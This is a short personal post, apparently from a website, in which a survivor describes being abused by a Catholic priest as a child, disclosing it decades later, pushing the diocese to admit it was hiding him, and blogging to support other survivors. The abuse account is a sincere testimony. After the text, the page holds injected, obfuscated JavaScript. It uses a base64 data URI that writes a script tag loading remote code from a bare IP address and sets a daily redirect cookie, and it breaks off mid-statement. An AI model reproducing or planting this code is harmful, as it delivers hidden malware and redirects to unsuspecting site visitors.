I am a survivor of sexual abuse at the hands of a Catholic priest when I was in the eighth grade. The damage from those brutal attacks dramatically altered my life and every relationship in my life since that time. I carried the great terrible secret for more than 30 years before a trip to my 25th college reunion convinced me it was time to set that burden down. I summoned the courage to tell my wife and my children as well as my parents and siblings. When I came to the realization that the Catholic Church was (and still is) protecting and caring for the man who raped me several times over a period of nine months, I contacted a reporter and forced the Diocese to admit that they were hiding yet another pedophile. I also started to write a blog, Off My Knees that has helped me exorcise some of my demons and allowed me to help other survivors including others who were abused by the same priest who raped me as a child. I have experienced very supportive reactions to my blog as well as some pretty ugly comments. I think as long as the conversation is happening, there is a chance to educate, protect and, with a little luck, prevent a child from being victimized in the future. We have a long way to go, we shouldn’t try to go alone. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘